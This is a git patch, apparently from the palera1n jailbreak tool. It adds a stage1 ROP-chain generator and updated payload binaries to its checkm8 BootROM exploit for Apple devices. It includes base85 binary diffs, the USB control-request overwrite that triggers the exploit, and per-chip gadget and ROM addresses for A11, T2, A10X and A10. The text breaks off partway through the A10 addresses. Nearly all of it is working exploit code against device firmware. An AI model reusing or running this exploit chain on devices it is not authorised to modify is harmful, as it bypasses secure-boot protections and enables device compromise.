From 89b6147e26fa5d8168f8c8e22e1d8c66f636ea8c Mon Sep 17 00:00:00 2001 From: CLARATION Date: Thu, 2 Jul 2026 16:42:23 -0700 Subject: [PATCH] feat(m8): stage1 generator Co-Authored-By: meow <69592455+kok3shidoll@users.noreply.github.com> --- README.md | 2 +- payloads/README.md | 3 + payloads/yolo_s5l8960x.bin | Bin 0 -> 2800 bytes payloads/yolo_s8000.bin | Bin 2852 -> 2780 bytes payloads/yolo_s8001.bin | Bin 4164 -> 2748 bytes payloads/yolo_s8003.bin | Bin 2852 -> 2780 bytes payloads/yolo_t7000.bin | Bin 2888 -> 2816 bytes payloads/yolo_t7001.bin | Bin 2888 -> 2816 bytes payloads/yolo_t8010.bin | Bin 4836 -> 3416 bytes payloads/yolo_t8011.bin | Bin 4828 -> 3408 bytes payloads/yolo_t8012.bin | Bin 0 -> 2836 bytes payloads/yolo_t8015.bin | Bin 4784 -> 3456 bytes src/m8/checkm8.c | 31 +++-- src/m8/payload.c | 238 +++++++++++++++---------------------- src/m8/payload.h | 33 ++--- src/m8/stage1.c | 223 ++++++++++++++++++++++++++++++++++ src/m8/stage1.h | 31 +++++ 17 files changed, 384 insertions(+), 177 deletions(-) create mode 100644 payloads/README.md create mode 100644 payloads/yolo_s5l8960x.bin create mode 100644 payloads/yolo_t8012.bin create mode 100644 src/m8/stage1.c create mode 100644 src/m8/stage1.h diff --git a/README.md b/README.md index b28c04c..be881d9 100644 --- a/README.md +++ b/README.md @@ -141,7 +141,7 @@ make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 - [mineek](https://github.com/mineek) - Checkm8 exploit re-implementation (openra1n) using [gaster](https://github.com/0x7ff/gaster). - [alfiecg24](https://github.com/mineek) - Achilles, based on openra1n. -- [kok3shidoll](https://github.com/kok3shidoll) - PongoOS patches. +- [kok3shidoll](https://github.com/kok3shidoll) - PongoOS patches, ROP chain generator. - [itsnebulalol](https://github.com/itsnebulalol) - Palera1n v1. - [staturnz](https://github.com/staturnz) - Contributions, Loader. - [plooshi](https://github.com/plooshi) - Plooshfinder, various legacy patches. diff --git a/payloads/README.md b/payloads/README.md new file mode 100644 index 0000000..2683e82 --- /dev/null +++ b/payloads/README.md @@ -0,0 +1,3 @@ +# Payloads + +Payloads are gathered from https://checkra.in/1337 diff --git a/payloads/yolo_s5l8960x.bin b/payloads/yolo_s5l8960x.bin new file mode 100644 index 0000000000000000000000000000000000000000..2709577afc4d810dac5f1cb1578d9f7cb8198314 GIT binary patch literal 2800 zcmZuzeQZAdrG&*weo5|Q5ab<+1U(g$nRY47)nriqy4AvS+1lL<-M3_j26S{BCDmK#Y& z+gTsQ69F1BDi|G?xcI`cbn5B_gY6S0BZ^6yV=cFsIBPJkFjJtV)IOta=z^Krg#RrR zV}e_^GMOKe_nB!wKHo|zsqLW77l}ede1VSc9Uwgihd&kxpRMgI&R&o{c@8bl`ZEVR zb0TOZNw?Y%gHqd*cu4RGI7@D@uHyVE_Mj_uvM~u{8-!*-z67v=XVyQDn4PQZ?4?mOY>Zqd7@p63L zQnFZl)L=}QvrWsNzV#*d)AlX#0sG%4(so6p3z{z`rZ`yzRrk^bES{b#x|eqNZ>C8n zYXijO~{)lL$QunSgyB>AXc&wI`h)iYdtnqk_OM<}n{B zg^Gw~aVa~A7-usR#-+^Q|M;vJ^+nvW7hW8?fOGofIn{TN>kQ&ZA#O&je~A|q6)u|? zF%AVpLL-roy*09&LU!V@38K!^dZ6pH9>iDI)hcU`eB8@q9=nYijc(=RGmyCqnahy5 zoR>+e_UPXrGfH%Ih8&Rq^!^3>&(IkoI)7JnMy1T5ph)})^rWgq{VPcCg%7XG{s6zt z104KL;2VDFwC+~YkG%&At-Cm*rx3kVBof~N&-=c^nk^_s|SiOPjxg3cXuF6Ab-lvQoQ=m2e~fX-F!a9Z{g@#;6-JymwM zzj~_My(81gI%N(dtrWF;vyR56Ua*%su59R^i}U-LEzRjk8-+g9siYu$!My$R*6X8N z%4*(%TtVofdAqy$Q@r`2c_+`y-pvMK_MnGYIOn_l7p>Qa!N;A7G3eUgXwKm_;Lv4X z1rPm^nnFy_U8;LZbw?kmk3}DvTNrQh4mCE>DR|LC+$N zH11jacY6mIJz-sXf)BKi>l5D{B$Tv91ExtIyd zn*9pBH7x&8uS@usc5kAtm34gFhS&o-b&fz^`Y{847Gdu{sAB_sYJg7~y`A?(F!UkKFu!Vb( zosB2Z3$5h2!Bvhor+3*irRZeb6dw$IAyW2j_4lnWIaT3(4dj>X{Wb*+6x=vRG-Q5zcj1k471l& zK0U^I4bq>%p3$PDmuKgAm5ai0ox)5RGBDpv%p=U{+8gidr2pPU`mVS5eL24+?SQg! z{vc}I03C0h7B3>50iR_ep|0ec)~}>Z0UK>cPi*8x^xZa`J)(XN5BifUnAU3Rs`rjc)K|ugMx`R6gMGyQe+qs~P0tk-8T1rz|?=ly&yp$krKs zM*H4OGffzF+zE2<1=b&^CSK8xx!dI3pWD4YVxNp5zUZOG{JzA?~8T0dr! zA;J~NvD%Nkx#WG6IhN=9WvxFPPWNmSX)k6r?JX~n`I5YEY}>kRbNjBB+9PJ$Q?F3H z|M~jOO^rcsgFhVJ?BBQh$(O_4XG8wYuf6&TQ7g6rh5_m>vQRJ1!6m$T3Ez~XzlWDd zR$kBIXPR>OKTqah_*f49p)3bC73bjLp&b0mZ*y?*k2zTRa?WmR9=?!=HpGP8SvZK8 zp_<)4?K*7_qIZ(2C%fl9N9NjRWo9vN-g*8kYJ1WwX!w~i7d&rN@plZZTbM!2j*eYr zC4*#-3?r{Q^|G2e*gXi^0V;^JV%8iWEi(Bi6Z*AYR^sI6%_F*AQ)gR}aYj-PGa<}5 z>rf@t)aUarZBF?|4F_y!p{Swh!i28j+%L?(aK62WDK2UI0Cr@D-q0m&2aoaU_C0Ii zOJSr>Z^F)ft}6w*LHJXLH$Xetn)=-;wovm81i-8w-lB^(haYvpm&uQkQ`Ntu14sS#U-iTWBMMJ|o$tgyS z#xwEi7N#Nxby@!!zwEC*zzQNAuKF&{p6z0=)fjIXZ`|lCX<=HV2mUnT9n{oD*S3Dt mGX4Y5CzvxLP`egZlzsQiV>cZAmc3NNE;;-X)ikhNzy23i_rbCN literal 0 HcmV?d00001 diff --git a/payloads/yolo_s8000.bin b/payloads/yolo_s8000.bin index bce02a277ee4bb94f79eafa6a85219c2476ca521..f344045e158074a1f7807d05c3a6ebf5af79d22f 100644 GIT binary patch delta 427 zcmX|7JxCj27=FI@Gcid+dl8N8kS3=VaS(A5m6Efx9SQ|Gg19LTQre})c5(5GI=G&n zptOTk+ra~+5SJ5*xrjOn2U>*=X$BEGnXy{0-#IwE@cg{IJkR?z`Ku`mKy!zzgFdE9 z#^&!oEqFJ;Vg;JTzPHOI*1^6>m-R<~Gc5j7la?XMhJPr8qIJDcoT}Z z??tVPHf&^OW7Y+SU5G)Wd%}CGyiBp)a^q^3gf}h=yt(srP%naQcYViXn8~Z`4crjs zpwf+cY_BHqkf5|WVLp@l{AbS~O5Xd>T1~@pEkTCUJ(X@q5FGX2#u|TYmySLxFmzev sE@NQ?iA!V(pY*@JJgiHl+-rY0$i1%`tp-?SE-So}<;SN*7HSRu2cK`0PXGV_ delta 482 zcmca3x57QT+&jU8+fHc@# zcbGVw23ZcWNQVVtF0NEl*3w8xPVs0s7 z;$YBxz%04y%Vb|Bbw;JhrA)<=iF^zKO_mLp@<28)bFOlf0rIUIE@e$-WESRRuI<5a;8F(bqE8$QGd?jeI_zYqkQZWLWY`JxxX34Fxm5?wmrP<{(4W}I#4x#@ jMOIev@BavpYdCo diff --git a/payloads/yolo_s8001.bin b/payloads/yolo_s8001.bin index 8e6abfc29ea14cd7a4f184945f13b4d0a93d2b91..6287b810a76a749a537d0d5b4a984c939b667c0d 100644 GIT binary patch delta 423 zcmX@2ut$`Qfq_BbVCZBvwkAGKMusVgObh}|HjS6q7$;9-3u0V4`6Zh**L|SGZy=Us znykle$F>{DWDuKN#O_v~z|0UL&%pdT*NUv}a(-R%Bub zVRBd(^oY5kh>3$?C)0!dK}rljc^-$IiVRF#Obx5Re306M3=AQU{_hVu^nX5Fo{@)P z=L2TRRR@^kuO%(m1vIAxWRB*u|Np1|WMr6pn_ZQ0(PT!B;#fz1pu;U2E|oGcOnJb} zxk^zM$hT^^R0!m&ALg9+LWN;YF6syLwgWrEmW5&r5+E67mWCjQ$!|HXn+Gr) zxKzNp=#v1$j8B404m%C2Bx5A`6V^~l^jP4g5H7)X7^r)IeGf(#d576Z({$xD-e+=LlRIR0WsW3;Qk&yQGFRBz)=o1c?{PA%(yK=j@MX_PBPGp z2$06Z^G69_>Lo_l?;Z={mUTrI(D#`7grk|jQ;Jt(3&=|S?s1I-gsoIS2K)r>Sju1~ z5P<&U9DsHZe~8pIO4=gQNdn7SK=3|Xf1FVQ{osE`bDuLHYdnoRW5{xQnq*nYwburB z0M-``$ga(-Hd^35FR>@?pY!RD4Ay_*r^CDx?2`Qo!&=U(u-S0|Fh2%-XSvgv$9QO| zwq5$gA6JYNOf~sPz3rVgCfRZCw(;P`;vg12D;oE)Ns|xMi$`&OPBiY}eDc$P+nRuP zg-2<(#i7p9kTo)*aVN+fsk58grJ^A!_(zfZJ)J)_=gsg#!`D%Wa{xAr2O%#BH$~~9 zcZ+|Yo&&$JY`tlx;6)plvjr<-IXqTdXnUy5kJbIJ51#>?bXN`V?wX^c<9|B~Qd*=X$BEGnXy{0-#IwE@cg{IJkR?z`Ku`mKy!zzgFdE9 z#^&!oEqFJ;Vg;JTzPHOI*1^6>m-R<~Gc5j7la?XMhJPr8qIJDcoT}Z z??tVPHf&^OW7Y+SU5G)Wd%}CGyiBp)a^q^3gf}h=yt(srP%naQcYViXn8~Z`4crjs zpwf+cY_BHqkf5|WVLp@l{AbS~O5Xd>T1~@pEkTCUJ(X@q5FGX2#u|TYmySLxFmzev sE@NQ?iA!V(pY*@JJgiHl+-rY0$i1%`tp-?SE-So}<;SN*7HSRu2cK`0PXGV_ delta 482 zcmca3xY@7lm`p~6B#e4PQ0$k*glz&(VFux zBg2&YK+HJVmC>GUK9IFQXmS^$n_>e4Lx?;B^XrWN|3iRmk)#E?f*vuq6ftoyXg*+; zT=iwLFOxc>(&SR6V#!2427xBahD&)M8<;s)Im!U})(w}kCNnY%b24%<2r%(9TuPp- z%Pg+z1+;>JgJH|T#k+zS8Jdb7F*gV?J2V9O0>vHJ8MZizF-R~m0L54ug6t<3GGEvB zU^s9ogLTm-4u%<@7#JOPGE~S5F)%Xh1bSTL6SLf^1LsR7F)-*)Y-D1XT+bpatN8bS d1jscUK-VyW*g%)C0@?HJnXlg7ypu(l4FDfuV^;tG diff --git a/payloads/yolo_t7000.bin b/payloads/yolo_t7000.bin index dc12d93e0bb77c8b3a440bbf4e476b30012e0cfd..8495a3330498697e3510eb37ab887cce8b077a99 100644 GIT binary patch delta 423 zcmX>h)*!~lz`!8zFnr=MD@LWsjEocb92+nFWnh@{fI(m)qk_id`HY&3rzW3dv}R>v zVwj>dnUl$$?J*<66b7-$eoSul3Cs*3@(j$cGyeY%na#i;!sN0x=#g?m5hI7gPJ0HX zY(*x95GIFpL64XlikLVUb}~KKAEd+pl;?5SsmQ>@#niA0%m=AG$iNWt=>PtpL;vT) z4xm5?wmrP=0(4Tln-(gZbgWyL7g~nNm mzy41?%_1v%@X!AUkh_lpeY6nDJ_KaXw`ab3V>2tOGaCS2`H%1b delta 517 zcmZn=J0VujfCU_2uxNk@f4R%RzzF0h0L4HwI)KSL5RixIOVQ^6o1?P_Y_2;@98QBQ z2U+C703F}f)=FffG3Gcdo-`2Rly$QDUjuq)^hb4w8u2ZQDVX3155 z7$*lYsWB=|u4F1UP2^(`U~*}=lm{}NnRC@cIS4-s$X7qiIq`)G!%Br_u8A+08CEfJ z0p)laE+tPkWER&g0NTjF!La4v;$1Yzc9U6j)f#MGA3|k&bFi0>l0L54u zf>I}!GG9;iU^sBeE z;*h_?j(7&f?1Mm0urSD-W@=az)Reh)*!~lz`!8zFnr=MD@LWsjEocb92+nFWnh@{fI(m)qk_id`HY&3rzW3dv}R>v zVwj>dnUl$$?J*<66b7-$eoSul3Cs*3@(j$cGyeY%na#i;!sN0x=#g?m5hI7gPJ0HX zY(*x95GIFpL64XlikLVUb}~KKAEd+pl;?5SsmQ>@#niA0%m=AG$iNWt=>PtpL;vT) z4xm5?wmrP=0(4Tln-(gZbgWyL7g~nNm mzy41?%_1v%@X!AUkh_lpeY6nDJ_KaXw`ab3V>2tOGaCS2`H%1b delta 517 zcmZn=J0Vuj009qRG!Kw*fWe{x%4hh(%gDe8(Y2Rsa`AXQ&|L1r$RjvRN^*Omv*UXViG=LfB#2-+{^)VBO{c}3S`f> NXTExS^IjHbHUOtfbw2bMKuyA9~h0Q~+@1 zCWNX^Ha%5f_6z|hxt*>)7I)Nm%Lswl06kDjPfxR`_9*2CCCSB4)$igSFly9WxP^*5 zo|j^`rLFP2)QdxwgRv8cYTKcx@E45mGNT%2r;*c27T<~An?>H{_M6Ny-EDMdvXeSu00G_BWOJ`Z# zTu8}DzMwwQA;ztJ&59QciXE*XHPOkCGQ@+m%z%ZQz_7(Zq;ZYT`}AgZL2+)q^*tRTGJ) zy6C|R6+vTsiHT8pl@3-E*T2@Y zB7jRNngsfti3G??092Un=avJWFCBoa$k28u>fF}LN&!Uw4XC*FwfS3Ipl;G_%K=Qg z0Hr2InLxILu2TzaaLiw5rD(yhyO&N-y9HO2mA!U!y8@oN<7gQYu-^u7$yWZ-fv(OX%5E`t0z82Y_y6@QHcoHo!iw z7NL&Mm`hHXK;8u)5_j&ObO6OJF^cQGV=i@{ze@zL-?2Q$8I=;cX6eJ80Ys$r-f>z2 zI7eBAOdwlA*L_xkWd#7t-zx*KGw{Ad)-x*ABFQNM`)z>2x>J9gNe8*%f5(5_0TH8m z()$htRvl7FE~M0C`5gkI=O|Pr6N%jI)V;o%ofJmHtZObYGGcUU6Y)kMm(!^~jaBJt zh~-&b<{~=W!rv3Koz(hz(bCQ1FP&2&A?Xx;j(Rs{hPDjxe0wQQYP!9oXxnGV8?azdZIxw|~z%Re^8z;~Gh zAy$i(Bs$XT<8hiDGnSU8<06~4;*?r*fVEXTtbrIqs(D<}Ys?4iq&g`g2F&j)+Qb23 zjljMQE-%N>t{zCw8%ykFoNBN`l<+q(r<7LGWWHCf?mt(7)$icBA%M|5+n8Bs!1*Db zyM*&?FE*yWHpA2K4S(t@){yw2l9ut@c{Am!Z9gS=G%VAjd4oVQzQnM)$lWKPHo(ln zW;=BR?J*a9UrztL-WaH&FemQHFBZyV-(0&3uq&0I5PaUN&z{9*FCer6p;r`(pS(i% gK4&l&`LldRFlxv|gpGVYw8xIH#Shb4Hgu?e0V}fvWdHyG diff --git a/payloads/yolo_t8011.bin b/payloads/yolo_t8011.bin index 6e557bd0af122d85d016d88d8f9052b9cf671cef..ed121dd32b3b09fdec4e446842d2cb268e07cd82 100644 GIT binary patch delta 695 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 literal 0 HcmV?d00001 diff --git a/payloads/yolo_t8015.bin b/payloads/yolo_t8015.bin index d76d511bbdb8c2f7dea492fcf590f760a71db37a..663ba937a791b5a474eb2f8d8ae29b0f39c15a80 100644 GIT binary patch delta 877 zcmYjPUr1A76hHU7+uhxqwM}z>M7NotjD=9f}ZlN2yf>$sUAK!-}#+$e&=`2c^P2M0sz?7 zBdQ?8>z{Hk8zx{QbFuP*Iwy=YoggslX+_TsYMRVh84XG=lq!!6V&hhf zt+YT^?3Z$)9ULkDzvhiPJ!0OQ5S=J+AaihsaziPFv)g*A(OLmLsM1^`OB}3s7%PkP z4_PzFO#qESNtc$SRc%Sp34h=&LLQ7q!o-c15o2MInzR)vunhg$BX%bNCQ@+AQ-#}} zgzM-e=LVTK>|nHtiSsU;6&6(o&4a=!I-p6tXC8=#c#yroe;Y@Ij}RyQ&uMixQ#et| z_X3Id3CKixK~c3rM97oM3T*?#ty10(#6pl<|Ld_u0J(|{m9*qvoU_&@UEs&o&f)Z{ zIDM?M?~A70uOpyp<^Y#g1C}f9;7+i`kFfGJz_IY=Ot`i7pHN>}8r(4p9$_6TUqsZm zWSTBo5hbjAL0z>tJ4bavA}V~mOgV_xb|f(xLce5!Y|y#A8@v*#+Uq_>hoMluys)@w zg9n>-BIOTFdL4EGdA$9`O};f#cz<<sx~N7r#V$N<8F?zqHf3f;XrwwQZNsPWJL2K53e>9T#Wlhg_cxmd;vF3BLh0mKj0- delta 2211 zcma)6O=uHA6n?X_iEI5KhH9%~nilI1B5JFiM7LF>h#;&vh$u}Jp;#$2dMGGl66>KS ziK`$YH2zd*5Py3xy>xA>2p)upi0C1S76idVPYSj1O?D>T)@~g?RJr;%=zk^1e?Y2 zU-c}E^Hc)i(heyg>kvqRFgpRymkIE4jzf_!i!*_16$DIIz`^S^0HtU{*lV zAy8s`lm@H{xIShZ>}$72UV^BzmL*bAf^X{FT91i9gV$Ax-;b0l4R48T9{ z5MRfcgg3tI0)gut3iyI7!=;@>TEE2;6eVifk7he+$8?HF1OFihApLt&!^)tIpp*MhhbHp zDa4KSi0So?{2((n;aW0iX2|X}K28_l@LiiuWyTUt7cd)?gWg}L+*)gPD;uI7B%Va# z0q}IS%oIW$$q^$*`y$x3X|6c8pBXLsqlmJH`M++dZOY-+EO6$Ok#E+TC?5O;*YsK# zUJX#q_Yg(w85=P2h0zG#_a1YCH889m&|h5ffq(Q8^n?qA9U%f&4RZKSBm=3da#}WgzA9)=qwaM7+0S{19>!{Xt0@! zQO&37M$%w@QqS+|SPs7UUY6+wG(i`qV(aYrS)6YiU!3^99)^OKs}kS&jaOl1m$J-h zGvTS(dK?b~4HexRF$lyXd5TJPW}L)zeGv@jRzYpCHh9rT%nzQAXWGEZbPhh4(%|M4 z5IqgOb$)!SY3!xyDH=#w?=D;e*p`SXP&;-+f6insecure_memory_base; + void* checkra1n_payload = NULL; + void *overwrite = NULL; + size_t checkra1n_payload_sz = 0; + size_t overwrite_sz = 0; - ret = create_pongo_payload_for_device(deviceConfig->cpid, &payload, &data_sz); + checkm8_overwrite_t checkm8_overwrite; + memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite)); + checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base; + overwrite = &checkm8_overwrite; + overwrite_sz = sizeof(checkm8_overwrite); + + ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz); if (!ret) return false; - LOG_VERBOSE("setting up stage 2 for CPID 0x%X", (unsigned)deviceConfig->cpid); - - data = calloc(1, data_sz); - if (!data) { - LOG_ERROR("failed to allocate payload buffer"); - return false; - } - - memcpy(data, payload, data_sz); + ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig); + if (!ret) return false; if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) { LOG_VERBOSE("successfully leaked data"); @@ -186,7 +185,7 @@ bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration LOG_VERBOSE("i = %zu", i); send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL); } - if(p != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, p, 0x30, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { + if(overwrite != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { ret = true; for(i = 0; ret && i < data_sz; i += packet_sz) { packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ); diff --git a/src/m8/payload.c b/src/m8/payload.c index fba3cb6..55e8d0a 100644 --- a/src/m8/payload.c +++ b/src/m8/payload.c @@ -12,6 +12,7 @@ #include "../gen/payloads/yolo_t7001.h" #include "../gen/payloads/yolo_t8010.h" #include "../gen/payloads/yolo_t8011.h" +#include "../gen/payloads/yolo_t8012.h" #include "../gen/payloads/yolo_t8015.h" bool checkm8_find_device_configuration_for_cpid( @@ -64,160 +65,116 @@ bool checkm8_find_payload_configuration_for_cpid( bool foundMatchingConfiguration = true; switch (cpid) { case A11: - config->tlbi = 0x1000004AC; - config->nop_gadget = 0x10000A9C4; - config->ret_gadget = 0x100000148; - config->patch_addr = 0x10000624C; - config->ttbr0_addr = 0x18000C000; - config->func_gadget = 0x10000A9AC; - config->write_ttbr0 = 0x10000045C; - config->memcpy_addr = 0x10000E9D0; - config->aes_crypto_cmd = 0x100009E9C; - config->boot_tramp_end = 0x18001C000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180003A78; - config->dfu_handle_request = 0x180008638; - config->usb_core_do_transfer = 0x10000B9A8; - config->dfu_handle_bus_reset = 0x180008668; - config->insecure_memory_base = 0x18001C000; - config->handle_interface_request = 0x10000BCCC; - config->usb_create_string_descriptor = 0x10000AE80; - config->usb_serial_number_string_descriptor = 0x1800008FA; + config->insecure_memory_base = 0x18001C000; + config->func_gadget = 0x10000a998; + config->tlbi = 0x1000004AC; + config->write_prim = 0x100009c48; + config->arm_clean_invalidate_dcache_line = 0x1000004e4; + config->arm_invalidate_icache = 0x1000004c0; + config->enter_critical_section = 0x10000f958; + config->exit_critical_section = 0x10000f9a0; + config->write_ttbr0 = 0x10000045c; + config->tlbi = 0x1000004ac; + config->TTBR0_PATCH_BASE = 0x180020000; + config->TTBR0_BASE = 0xc000; + config->bootstrap_task_lr = 0x180015f88; + config->payload_start_offset = 0x800; break; case T2: - config->tlbi = 0x100000494; - config->nop_gadget = 0x100008DB8; - config->ret_gadget = 0x10000012C; - config->patch_addr = 0x100004854; - config->ttbr0_addr = 0x18000C000; - config->func_gadget = 0x100008DA0; - config->write_ttbr0 = 0x100000444; - config->memcpy_addr = 0x10000EA30; - config->aes_crypto_cmd = 0x1000082AC; - config->boot_tramp_end = 0x18001C000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180003AF8; - config->dfu_handle_request = 0x180008B08; - config->usb_core_do_transfer = 0x10000BD20; - config->dfu_handle_bus_reset = 0x180008B38; - config->insecure_memory_base = 0x18001C000; - config->handle_interface_request = 0x10000BFFC; - config->usb_create_string_descriptor = 0x10000B1CC; - config->usb_serial_number_string_descriptor = 0x18000082A; + config->insecure_memory_base = 0x18001C000; + config->func_gadget = 0x100008d8c; + config->write_prim = 0x100008058; + config->arm_clean_invalidate_dcache_line = 0x1000004cc; + config->arm_invalidate_icache = 0x1000004a8; + config->enter_critical_section = 0x10000f9b8; + config->exit_critical_section = 0x10000fa00; + config->write_ttbr0 = 0x100000444; + config->tlbi = 0x100000494; + config->TTBR0_PATCH_BASE = 0x180020000; + config->TTBR0_BASE = 0xc000; + config->bootstrap_task_lr = 0x180015f78; + config->payload_start_offset = 0x800; break; case A10X: - config->tlbi = 0x100000444; - config->nop_gadget = 0x10000CD0C; - config->ret_gadget = 0x100000148; - config->patch_addr = 0x100007630; - config->ttbr0_addr = 0x1800A0000; - config->func_gadget = 0x10000CCEC; - config->write_ttbr0 = 0x1000003F4; - config->memcpy_addr = 0x100010950; - config->aes_crypto_cmd = 0x10000C994; - config->boot_tramp_end = 0x1800B0000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180083D28; - config->dfu_handle_request = 0x180088A58; - config->usb_core_do_transfer = 0x10000DD64; - config->dfu_handle_bus_reset = 0x180088A88; - config->insecure_memory_base = 0x1800B0000; - config->handle_interface_request = 0x10000E08C; - config->usb_create_string_descriptor = 0x10000D234; - config->usb_serial_number_string_descriptor = 0x18008062A; + config->insecure_memory_base = 0x1800B0000; + config->func_gadget = 0x10000cce4; + config->write_prim2 = 0x100001804; + config->arm_clean_invalidate_dcache_line = 0x10000047c; + config->arm_invalidate_icache = 0x100000458; + config->enter_critical_section = 0x10000a658; + config->exit_critical_section = 0x10000a6a0; + config->write_ttbr0 = 0x1000003F4; + config->tlbi = 0x100000444; + config->TTBR0_PATCH_BASE = 0x1800b4000; + config->TTBR0_BASE = 0xa0000; + config->bootstrap_task_lr = 0x1800a9f88; + config->payload_start_offset = 0x800; break; case A10: - config->tlbi = 0x100000434; - config->nop_gadget = 0x10000CC6C; - config->ret_gadget = 0x10000015C; - config->patch_addr = 0x1000074AC; - config->ttbr0_addr = 0x1800A0000; - config->func_gadget = 0x10000CC4C; - config->write_ttbr0 = 0x1000003E4; - config->memcpy_addr = 0x100010730; - config->aes_crypto_cmd = 0x10000C8F4; - config->boot_tramp_end = 0x1800B0000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180083CF8; - config->dfu_handle_request = 0x180088B48; - config->usb_core_do_transfer = 0x10000DC98; - config->dfu_handle_bus_reset = 0x180088B78; - config->insecure_memory_base = 0x1800B0000; - config->handle_interface_request = 0x10000DFB8; - config->usb_create_string_descriptor = 0x10000D150; - config->usb_serial_number_string_descriptor = 0x1800805DA; + config->insecure_memory_base = 0x1800B0000; + config->func_gadget = 0x10000cc44; + config->write_prim2 = 0x100001808; + config->arm_clean_invalidate_dcache_line = 0x10000046c; + config->arm_invalidate_icache = 0x100000448; + config->enter_critical_section = 0x10000A4B8; + config->exit_critical_section = 0x10000A514; + config->write_ttbr0 = 0x1000003E4; + config->tlbi = 0x100000434; + config->TTBR0_PATCH_BASE = 0x1800b4000; + config->TTBR0_BASE = 0xa0000; + 